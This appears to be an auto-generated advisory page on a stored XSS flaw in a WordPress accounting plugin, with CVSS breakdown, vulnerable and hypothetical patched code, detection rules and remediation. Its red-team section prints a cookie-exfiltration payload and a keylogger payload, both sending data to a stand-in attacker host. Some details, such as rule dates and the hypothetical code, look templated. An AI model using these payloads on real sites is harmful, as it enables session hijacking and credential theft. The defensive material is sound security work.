CVE-2025-12371
Executive Summary
CVE-2025-12371 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nari Accountant plugin for WordPress, affecting all versions up to and including 1.0.12. The flaw resides in the plugin’s account settings functionality, where insufficient input sanitization and output escaping allow authenticated attackers with editor-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site WordPress installations or environments where the unfiltered_html capability has been disabled. Given the EPSS score of 0.0%, exploitation is currently not widespread, but the risk remains for targeted attacks against WordPress multi-site networks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Nari Accountant plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin package by checking checksums provided by the repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking the plugin or distributing tampered versions.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (editor-level)
- User Interaction: Required (victim must visit the injected page)
- Scope: Changed (impact may extend to other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the likelihood of mass exploitation, but the potential for targeted attacks against multi-site WordPress installations remains significant.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the Nari Accountant plugin’s account settings. The plugin fails to properly sanitize user-supplied input before storing it in the database and fails to escape output when rendering the settings page. An attacker with editor-level privileges can inject malicious JavaScript into account settings fields (e.g., company name, address, or tax ID). When an administrator or other user views the settings page, the injected script executes in their browser context.
Key Conditions:
- Only exploitable on WordPress multi-site installations or where
unfiltered_htmlis disabled. - Requires editor-level permissions or higher.
- The injected script persists in the database and executes on every page load of the affected settings page.
Attack Flow:
- Attacker logs in as an editor.
- Navigates to the Nari Accountant settings page.
- Injects a malicious payload into an input field (e.g.,
<script>alert('XSS')</script>). - The payload is stored in the WordPress database.
- When an administrator or other user visits the settings page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.0.12):
// In nari-accountant/admin/class-nari-accountant-admin.php
function save_account_settings() {
$company_name = $_POST['company_name'];
update_option('nari_accountant_company_name', $company_name);
}
function display_account_settings() {
$company_name = get_option('nari_accountant_company_name');
echo "<input type='text' value='$company_name' />";
}
Patched Code (hypothetical fix):
function save_account_settings() {
$company_name = sanitize_text_field($_POST['company_name']);
update_option('nari_accountant_company_name', $company_name);
}
function display_account_settings() {
$company_name = esc_attr(get_option('nari_accountant_company_name'));
echo "<input type='text' value='$company_name' />";
}
The patched version uses sanitize_text_field() for input sanitization and esc_attr() for output escaping, preventing XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress multi-site installation with Nari Accountant plugin <= 1.0.12.
- Editor-level account credentials.
Exploitation Steps:
- Log in as an editor.
- Navigate to
wp-admin/admin.php?page=nari-accountant-settings. - Inject the following payload into the "Company Name" field:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- Wait for an administrator to visit the settings page. The script will execute, exfiltrating cookies.
Alternative Payload (keylogger):
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
Blue Team (Detection & Response)
Detection Steps:
- Monitor WordPress admin activity logs for unusual changes to Nari Accountant settings.
- Scan the
wp_optionstable for suspicious entries:SELECT * FROM wp_options WHERE option_name LIKE 'nari_accountant_%' AND option_value LIKE '%<script%'; - Use a web application firewall (WAF) to block common XSS payloads in POST requests to
admin-ajax.phpor plugin settings pages.
Response:
- Immediately disable the Nari Accountant plugin.
- Remove malicious entries from the
wp_optionstable. - Rotate all admin credentials and session tokens.
- Conduct a full security audit of the WordPress installation.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/nari-accountant/admin/class-nari-accountant-admin.php(vulnerable file) - Database: Entries in
wp_optionswithoption_namelikenari_accountant_%containing<script>tags. - Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
- Logs: Unusual POST requests to
wp-admin/admin.php?page=nari-accountant-settingswith encoded payloads.
Detection Engineering
YARA Rule
rule detect_nari_accountant_xss {
meta:
description = "Detects stored XSS payloads in Nari Accountant plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12371"
strings:
$payload1 = "<script" ascii wide nocase
$payload2 = "onerror=" ascii wide nocase
$payload3 = "onload=" ascii wide nocase
$option_name = "nari_accountant_" ascii wide nocase
condition:
$option_name and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: Stored XSS in Nari Accountant Plugin Settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in Nari Accountant plugin settings
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000
ObjectName|contains: 'nari_accountant_'
ObjectValue|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12371 - Stored XSS in Nari Accountant Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=nari-accountant-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict editor-level permissions on multi-site installations.
- Enable
unfiltered_htmlonly for trusted users (note: this may introduce other risks).
Long-term Fix:
- Apply input sanitization (
sanitize_text_field()) and output escaping (esc_attr()) to all plugin settings fields. - Implement a Content Security Policy (CSP) to mitigate XSS impact.
- Regularly update the plugin and monitor for official patches.
Workaround:
- Use a WAF rule to block POST requests containing
<scripttags to plugin settings pages. - Manually audit the
wp_optionstable for malicious entries.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.